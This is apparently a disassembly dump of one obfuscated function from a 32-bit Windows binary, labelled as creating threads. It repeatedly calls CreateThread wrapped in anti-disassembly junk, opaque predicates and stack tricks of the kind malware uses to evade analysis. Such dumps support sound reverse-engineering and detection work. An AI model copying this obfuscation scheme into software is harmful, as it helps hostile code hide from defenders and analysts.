Function at 0x10015558
Capabilities:
Create thread

Disassembly:
jae 0x1001533e
jmp 0x10015339
call fcn.10015340
jae 0x10015339
add esp, 4
jmp 0x10015345
dec dword [esp]
jno 0x1001534a
jns 0x10015335
jp 0x1001534e
add esp, 4
popf
jmp 0x10015355
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001536e
jne 0x1001536e
call 0x1fc186c2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016b10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001539d
jne 0x1001539c
call 0x93054424
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
jns 0x10015420
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100153ab
jmp 0x100153ad
je 0x100153a8
sti
clc
jae 0x100153b2
stc
jns 0x10015427
je 0x100153b7
add esi, dword [ebp + 1]
jne 0x100153b7
jns 0x1001541e
pushf
pushfd
push 0xa
jae 0x100153c4
jmp 0x100153bf
call 0x100153c6
jae 0x100153bf
add esp, 4
jmp 0x100153cb
dec dword [esp]
jno 0x100153d0
jns 0x100153bb
jp 0x100153d4
add esp, 4
popf
jmp 0x100153db
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100153f4
jne 0x100153f4
call 0x1fc18748
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016b80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x10015423
jne 0x10015422
call 0x930544aa
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10015431
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
inc edx
jmp 0x10015433
je 0x1001542e
clc
jae 0x10015438
mov dword [0x75037442], eax
add dword [edx + 0x66], eax
pushfd
je 0x1001543d
jne 0x1001543d
inc edx
pushf
push 0xa
jae 0x1001544a
jmp 0x10015445
call 0x1001544c
jae 0x10015445
add esp, 4
jmp 0x10015451
dec dword [esp]
jno 0x10015456
jns 0x10015441
jp 0x1001545a
add esp, 4
popf
jmp 0x10015461
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001547a
jne 0x1001547a
call 0x1fc187ce
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016bf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x100154a9
jne 0x100154a8
call 0x93054530
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
or esi, dword [ebx + edi*8 - 8]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100154b7
jmp 0x100154b9
je 0x100154b4
clc
jae 0x100154be
dec ebp
or esi, dword [ebx + eax + 0x75]
add dword [ebx], ecx
je 0x100154c3
jne 0x100154c3
or esp, dword [esi - 0x64]
pushf
push 0xa
jae 0x100154d0
jmp 0x100154cb
call 0x100154d2
jae 0x100154cb
add esp, 4
jmp 0x100154d7
dec dword [esp]
jno 0x100154dc
jns 0x100154c7
jp 0x100154e0
add esp, 4
popf
jmp 0x100154e7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015500
jne 0x10015500
call 0x1fc18854
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016c60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001552f
jne 0x1001552e
call 0x930545b6
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001553d
jmp 0x1001553f
je 0x1001553a
clc
jae 0x10015544
hlt
je 0x10015549
jne 0x10015549
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10015556
jmp 0x10015551
call 0x10015558
jae 0x10015551
add esp, 4
jmp 0x1001555d
dec dword [esp]
jno 0x10015562
jns 0x1001554d
jp 0x10015566
add esp, 4
popf
jmp 0x1001556d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015586
jne 0x10015586
call 0x1fc188da
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016cd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x100155b5
jne 0x100155b4
call 0x9305463c
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
bnd je 0x100155c0
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100155c3
jmp 0x100155c5
je 0x100155c0
clc
jae 0x100155ca
cdq
bnd je 0x100155cf
je 0x100155cf
jne 0x100155cf
pushf
pushf
push 0xa
jae 0x100155dc
jmp 0x100155d7
call 0x100155de
jae 0x100155d7
add esp, 4
jmp 0x100155e3
dec dword [esp]
jno 0x100155e8
jns 0x100155d3
jp 0x100155ec
add esp, 4
popf
jmp 0x100155f3
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001560c
jne 0x1001560c
call 0x1fc18960
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0
push 0
push 0
push 0x10016db0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
test eax, eax
je 0x1001563b
jne 0x1001563a
call 0x930546c2
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
mov ebx, 0x73f8fb74
add al, byte [ebx - 0x45]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10015649
jmp 0x1001564b
je 0x10015646
clc
jae 0x10015650
inc ebx
mov ebx, 0x1750374
je 0x10015655
jne 0x10015655
mov ebx, 0xa6a9c66
pushf
push 0xa
jae 0x10015662
jmp 0x1001565d
call 0x10015664
jae 0x1001565d
add esp, 4
jmp 0x10015669
dec dword [esp]
jno 0x1001566e
jns 0x10015659
jp 0x10015672
add esp, 4
popf
jmp 0x10015679
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015692
jne 0x10015692
call 0x1fc189e6
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret